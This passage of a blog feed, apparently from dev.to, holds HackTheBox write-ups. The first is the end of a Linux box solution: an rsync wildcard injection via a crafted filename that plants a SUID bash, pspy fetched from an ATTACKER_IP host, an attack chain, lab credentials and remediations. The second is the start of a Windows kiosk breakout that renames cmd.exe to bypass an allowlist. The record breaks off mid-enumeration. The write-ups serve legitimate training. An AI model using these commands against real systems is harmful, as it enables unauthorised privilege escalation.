&lt;p&gt;Enumerating the box (linpeas + manual poking) turned up some flagged items:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;════════════════════════════╣ Other Interesting Files ╠════════════════════════════
╔══════════╣ .sh files in path
/usr/local/bin/cron.sh.x
/usr/bin/gettext.sh
/usr/bin/rescan-scsi-bus.sh
╔══════════╣ Executable files potentially added by user (limit 70)
2022-02-16+22:27:39.0806206800 /usr/local/bin/cron.sh.x
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_terminal.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_keyboard.sh
2021-11-10+10:53:51.2265749210 /etc/console-setup/cached_setup_font.sh
╔══════════╣ Unexpected in root
/backups
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
/backups/phoenix.htb.2026-07-04-06-06.tar.gz
/var/log/journal/16f09a9db470435faa12a4d5167ba486/system.journal
/var/log/auth.log
/var/log/syslog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stood out immediately:&lt;/p&gt;

&lt;p&gt;Two things stood out immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/backups&lt;/code&gt;&lt;/strong&gt; - flagged by linpeas as "unexpected in root," and one of its files had just been modified in the last 5 minutes: a strong sign of an active, recurring cron job&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/usr/local/bin/cron.sh.x&lt;/code&gt;&lt;/strong&gt; - an executable, owned by root, sitting outside the usual system paths, last modified back in Feb 2022 (i.e. baked into the box at build time, not something transient)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What is a &lt;code&gt;.sh.x&lt;/code&gt; file?
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;.sh.x&lt;/code&gt; is the typical output of &lt;strong&gt;SHC (Shell Script Compiler)&lt;/strong&gt; - a tool that wraps a plain shell script into a compiled binary to hide the source and make it harder to tamper with. Confirmed this by checking the strings inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings /usr/local/bin/cron.sh.x
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which showed generic libc symbols and a runtime error string typical of SHC-wrapped binaries (&lt;code&gt;E: neither argv[0] nor $_ works.&lt;/code&gt;), rather than anything script-specific.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watching it run live
&lt;/h3&gt;

&lt;p&gt;Rather than trying to statically decompile the binary, used &lt;strong&gt;pspy&lt;/strong&gt; (a tool that watches running processes without needing root) to catch the script's actual behavior when the cron job fires:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://ATTACKER_IP/pspy64
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x pspy64
./pspy64
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caught the job executing live:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026/07/04 06:35:34 CMD: UID=1002  PID=35505  | date +%Y-%m-%d-%H-%M
2026/07/04 06:35:34 CMD: UID=1002  PID=35506  | mysqldump -u root wordpress
mysqldump: Got error: 1698: Access denied for user 'root'@'localhost' when trying to connect
2026/07/04 06:35:34 CMD: UID=1002  PID=35507  | tar -cf phoenix.htb.2026-07-04-06-35.tar dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35508  | rm dbbackup.sql
2026/07/04 06:35:34 CMD: UID=1002  PID=35509  | gzip -9 phoenix.htb.2026-07-04-06-35.tar
2026/07/04 06:35:34 CMD: UID=1002  PID=35510  | find . -type f -mmin +30 -delete
2026/07/04 06:35:34 CMD: UID=1002  PID=35511  | rsync --ignore-existing -t phoenix.htb.2026-07-04-06-06.tar.gz
  phoenix.htb.2026-07-04-06-09.tar.gz [...] jit@10.11.12.14:/backups/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Note: &lt;code&gt;mysqldump -u root&lt;/code&gt; fails with an access-denied error, but the script doesn't check for that and keeps going anyway — a small bug, but not the one that matters here.)&lt;/p&gt;

&lt;p&gt;Reconstructed the script's logic from this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="nv"&gt;NOW&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +&lt;span class="s2"&gt;"%Y-%m-%d-%H-%M"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"phoenix.htb.&lt;/span&gt;&lt;span class="nv"&gt;$NOW&lt;/span&gt;&lt;span class="s2"&gt;.tar"&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /backups
mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt; root wordpress &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; dbbackup.sql
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-cf&lt;/span&gt; &lt;span class="nv"&gt;$FILE&lt;/span&gt; dbbackup.sql &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm &lt;/span&gt;dbbackup.sql
&lt;span class="nb"&gt;gzip&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; &lt;span class="nv"&gt;$FILE&lt;/span&gt;
find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-mmin&lt;/span&gt; +30 &lt;span class="nt"&gt;-delete&lt;/span&gt;
rsync &lt;span class="nt"&gt;--ignore-existing&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.&lt;span class="k"&gt;*&lt;/span&gt; jit@10.11.12.14:/backups/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This runs as &lt;strong&gt;root&lt;/strong&gt; (confirmed since it can access &lt;code&gt;/backups&lt;/code&gt; files owned by root and attempts &lt;code&gt;mysqldump -u root&lt;/code&gt;), and the &lt;code&gt;editor&lt;/code&gt; user has write access to &lt;code&gt;/backups&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The bug: rsync wildcard injection
&lt;/h3&gt;

&lt;p&gt;The last line is the interesting part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rsync &lt;span class="nt"&gt;--ignore-existing&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;.&lt;span class="k"&gt;*&lt;/span&gt; jit@10.11.12.14:/backups/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;*.*&lt;/code&gt; is a shell glob expanded by the script &lt;em&gt;before&lt;/em&gt; rsync ever sees it. If a file in that directory has a name that looks like an rsync command-line flag, the shell will happily pass it to rsync as one - a classic &lt;strong&gt;wildcard injection&lt;/strong&gt; vulnerability. rsync supports a &lt;code&gt;-e&lt;/code&gt; flag to specify an arbitrary "remote shell" command to run, which is exactly the lever needed here.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exploiting it
&lt;/h3&gt;

&lt;p&gt;Since &lt;code&gt;editor&lt;/code&gt; can write to &lt;code&gt;/backups&lt;/code&gt;, dropped a small script there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;' &amp;gt; shell.sh
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x shell.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then created a file whose &lt;em&gt;name&lt;/em&gt; is itself a malicious rsync flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;touch&lt;/span&gt; &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="s1"&gt;'-e sh shell.sh'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the cron job's &lt;code&gt;*.*&lt;/code&gt; glob expands, this filename gets passed to rsync as &lt;code&gt;-e sh shell.sh&lt;/code&gt; - telling rsync to use &lt;code&gt;sh shell.sh&lt;/code&gt; as its "remote shell" command, which just runs the script locally as whatever user triggered rsync (root, since the cron job runs as root).&lt;/p&gt;

&lt;p&gt;Waited for the next cron run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;watch &lt;span class="nt"&gt;-n&lt;/span&gt; 5 &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/rootbash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few minutes later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwsr-sr-x 1 root root 1183448 Jul  4 06:48 /tmp/rootbash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A SUID copy of bash, owned by root. Ran it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/tmp/rootbash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="nb"&gt;whoami&lt;/span&gt;   &lt;span class="c"&gt;# root&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;       &lt;span class="c"&gt;# uid=1002(editor) gid=1002(editor) euid=0(root) egid=0(root) groups=0(root),1002(editor)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root flag:&lt;/strong&gt; &lt;code&gt;[REDACTED]&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities &amp;amp; Attack Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;WordPress username disclosure&lt;/strong&gt; via the default XML sitemap (&lt;code&gt;wp-sitemap-users-1.xml&lt;/code&gt;) - leaked valid usernames for later targeting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated SQL injection&lt;/strong&gt; in the Asgaros Forum plugin (CVE-2021-24827) - the single most important vulnerability on the box. Everything downstream (credentials, TOTP bypass) traces back to this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak/reused passwords&lt;/strong&gt;, crackable with a standard wordlist (rockyou.txt) against the dumped WordPress password hashes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2FA implemented at the application layer with secrets stored server-side and readable via SQLi&lt;/strong&gt; - once the database is compromised, TOTP protection built this way adds no real security, since the seed itself can just be read and used to generate valid codes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unauthenticated arbitrary file upload&lt;/strong&gt; in the Download From Files plugin (v1.48) - straightforward path from admin panel access to full RCE.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH 2FA bypass via a misconfigured IP allowlist&lt;/strong&gt; - the &lt;code&gt;pam_access&lt;/code&gt; rule was meant to be a convenience for trusted networks, but it fully skips the TOTP requirement rather than just skipping additional friction, and the box exposes a second interface sitting in that trusted range.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Classic rsync wildcard injection&lt;/strong&gt; in a root-run cron job - using unquoted, unsanitized glob expansion (&lt;code&gt;*.*&lt;/code&gt;) as rsync arguments let a low-privileged but directory-writable user inject a malicious &lt;code&gt;-e&lt;/code&gt; flag and get arbitrary command execution as root.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Attack chain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WordPress sitemap leaks usernames (jsmith, phoenix)
        │
        ▼
Unauthenticated SQLi in Asgaros Forum (CVE-2021-24827)
        │
        ├──► Dump wp_users → crack hashes (rockyou.txt)
        │           │
        │           ▼
        │    Admin credentials: phoenix / phoenixthefirebird14
        │
        └──► Dump wp_usermeta (mo2f_gauth_key + mo2f_get_auth_rnd_string)
                    │
                    ▼
             Decrypt TOTP secret → generate valid OTP (oathtool)
                    │
                    ▼
        Full admin login to /wp-admin/ (2FA bypassed entirely)
                    │
                    ▼
    Unauthenticated arbitrary file upload in Download From Files plugin
                    │
                    ▼
              Webshell → reverse shell as wp_user
                    │
                    ▼
     Crack remaining hashes → editor / superphoenix (maps to jsmith)
                    │
                    ▼
   SSH blocked by PAM (Google Authenticator + pam_access IP allowlist)
                    │
                    ▼
     Box is dual-homed → SSH to internal-only IP (10.11.12.13)
     bypasses the TOTP requirement entirely
                    │
                    ▼
              Shell as editor → user.txt
                    │
                    ▼
   Root-run cron job (cron.sh.x) backs up DB + rsyncs with unquoted
   glob (*.*) → classic wildcard injection via crafted filename
                    │
                    ▼
        SUID bash dropped by root → root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Remediations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fix WordPress username disclosure&lt;/strong&gt;: disable or restrict the default XML sitemaps (&lt;code&gt;wp-sitemap-users-*.xml&lt;/code&gt;), or at minimum don't expose full names/roles via the REST API's &lt;code&gt;/wp-json/wp/v2/users&lt;/code&gt; endpoint to unauthenticated requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch/remove Asgaros Forum&lt;/strong&gt;: update past v1.15.13, or better, remove or firewall off vulnerable plugins entirely if they're not essential. This single SQLi is the root cause of nearly everything else on the box.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enforce strong, unique passwords&lt;/strong&gt;: none of the cracked passwords should have survived a rockyou.txt pass - a basic password policy plus a check against known-breached password lists would have stopped this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't rely on 2FA secrets stored in the same database an app-level vulnerability can already read.&lt;/strong&gt; If the database is compromised, application-layer TOTP protection backed by DB-stored secrets provides no real additional security. Consider a hardware-backed or externally-hosted 2FA provider, or at minimum encrypt secrets with a key that isn't derivable/co-located with the rest of the compromised data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Patch/remove the Download From Files plugin&lt;/strong&gt;: this unauthenticated file upload is a straight line from "has admin panel access" to full RCE - no plugin with this kind of unauthenticated write capability should be running in production.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix the SSH &lt;code&gt;pam_access&lt;/code&gt; allowlist logic&lt;/strong&gt;: an IP-based exception should never fully bypass a second factor - at most it should be one signal among several, not a hard short-circuit. If a trusted internal network genuinely doesn't need 2FA, that's a network segmentation decision, not something that should live inside the same PAM stack as the 2FA enforcement itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never expand unsanitized globs into command arguments&lt;/strong&gt;, especially for privileged (root) scripts. The &lt;code&gt;rsync ... *.* ...&lt;/code&gt; pattern should instead pass an explicit, safe argument like &lt;code&gt;--&lt;/code&gt; before the file list (to stop &lt;code&gt;-&lt;/code&gt;-prefixed filenames being parsed as options), or better, avoid shell globbing into command arguments entirely (e.g. &lt;code&gt;find /backups -maxdepth 1 -type f -print0 | xargs -0 rsync ...&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Avoid running scheduled jobs as root when they don't need to be.&lt;/strong&gt; This backup job didn't need full root — a dedicated low-privilege backup user with only the access it actually needs would have contained this entire escalation path.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: vulnEscape Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Thu, 02 Jul 2026 09:00:36 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-vulnescape-writeup-pm8</link>
      <guid>https://dev.to/exploitnotes/hackthebox-vulnescape-writeup-pm8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Escape&lt;/code&gt; is a Windows box that exposes only RDP (3389). The RDP session drops you into a locked-down &lt;strong&gt;kiosk&lt;/strong&gt; account (&lt;code&gt;KioskUser0&lt;/code&gt;) meant for a "Conference Display" app. The box is solved entirely through a kiosk breakout: abusing Edge's address bar to browse the local filesystem, bypassing an application allowlist by renaming binaries, then finding a third-party RDP client (Remote Desktop Plus) with saved-but-masked credentials for the &lt;code&gt;admin&lt;/code&gt; account. Those credentials are recovered with a Nirsoft password-reveal tool, and &lt;code&gt;admin&lt;/code&gt; turns out to be a local administrator, giving full SYSTEM-level access after a UAC prompt.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Only one port open - RDP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;span class="go"&gt;
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Escape
| rdp-ntlm-info:
|   Target_Name: ESCAPE
|   NetBIOS_Domain_Name: ESCAPE
|   NetBIOS_Computer_Name: ESCAPE
|   DNS_Domain_Name: Escape
|   DNS_Computer_Name: Escape
|   Product_Version: 10.0.19041
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full port scan confirmed only 3389/tcp is reachable. Windows 11-based build, standalone workgroup box (&lt;code&gt;ESCAPE&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Added it to hosts and connected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;machine-ip&amp;gt; escape.vl ESCAPE.VL'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
xfreerdp /v:&amp;lt;machine-ip&amp;gt; /cert:ignore /sec:tls
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The login screen tells you exactly what to do:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Conference Display&lt;/strong&gt; - Login as &lt;code&gt;KioskUser0&lt;/code&gt; without Password&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Foothold - Breaking Out of the Kiosk
&lt;/h2&gt;

&lt;p&gt;Logging in as &lt;code&gt;KioskUser0&lt;/code&gt; drops you straight into a wallpaper ("Busan Expo") with no visible taskbar or icons. Clicking around does nothing.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pressing the &lt;strong&gt;Windows key&lt;/strong&gt; brings up the Start menu / search bar.&lt;/li&gt;
&lt;li&gt;Searching &lt;code&gt;cmd&lt;/code&gt; and clicking it → does nothing (blocked).&lt;/li&gt;
&lt;li&gt;Searching &lt;code&gt;edge&lt;/code&gt; → &lt;strong&gt;opens successfully&lt;/strong&gt;. So the restriction looks like an &lt;strong&gt;allowlist&lt;/strong&gt;, not a blocklist — only specific apps (like Edge) are permitted to launch.&lt;/li&gt;
&lt;li&gt;With Edge open, typing &lt;code&gt;C:\&lt;/code&gt; directly into the address bar renders a &lt;strong&gt;directory listing&lt;/strong&gt; of the filesystem (Edge treats it as a local &lt;code&gt;file://&lt;/code&gt; browse). This is enough to walk the entire disk from the browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Browsing to the kiosk user's desktop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C:\Users\KioskUser0\Desktop\user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user.txt: [REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting a real shell - allowlist bypass
&lt;/h3&gt;

&lt;p&gt;Browsing to &lt;code&gt;C:\Windows\System32\&lt;/code&gt;, I located &lt;code&gt;cmd.exe&lt;/code&gt; and downloaded it via Edge into the &lt;code&gt;Downloads&lt;/code&gt; folder. Running it directly failed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;제한 사항 (Restriction)
이 작업은 시스템 제한 때문에 취소되었습니다. 시스템 관리자에게 문의하십시오.
(This operation was cancelled due to system restrictions. Contact your administrator.)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Renaming the downloaded binary didn't help at first — but since &lt;strong&gt;Edge (&lt;code&gt;msedge.exe&lt;/code&gt;) is the one thing the allowlist actually permits&lt;/strong&gt;, renaming &lt;code&gt;cmd.exe&lt;/code&gt; → &lt;code&gt;msedge.exe&lt;/code&gt; and running it &lt;strong&gt;bypassed the restriction entirely&lt;/strong&gt; and popped a working shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;C:\Users\kioskUser0\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;escape\kioskuser0&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;C:\Users\kioskUser0\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/all&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;INFORMATION&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;----------------&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nx"&gt;SID&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;escape\kioskuser0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;S-1-5-21-3698417267-3345840482-3422164602-1002&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;GROUP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;INFORMATION&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;relevant&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Remote&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Desktop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;BUILTIN\Users&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Mandatory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Label\Medium&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Mandatory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Level&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PRIVILEGES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;INFORMATION&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeShutdownPrivilege&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Disabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeChangeNotifyPrivilege&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Enabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeUndockPrivilege&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nx"&gt;Disabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeIncreaseWorkingSetPrivilege&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;Disabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;SeTimeZonePrivilege&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Disabled&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same rename trick works for &lt;code&gt;powershell.exe&lt;/code&gt; (download it, rename to &lt;code&gt;msedge.exe&lt;/code&gt;, run it) to get a real PowerShell session instead of &lt;code&gt;cmd&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Enumeration as &lt;code&gt;kioskuser0&lt;/code&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;dir&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;Administrator&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;DefaultAppPool&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nx"&gt;kioskUser0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;Public&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\admin\&lt;/span&gt;&lt;span class="w"&gt;
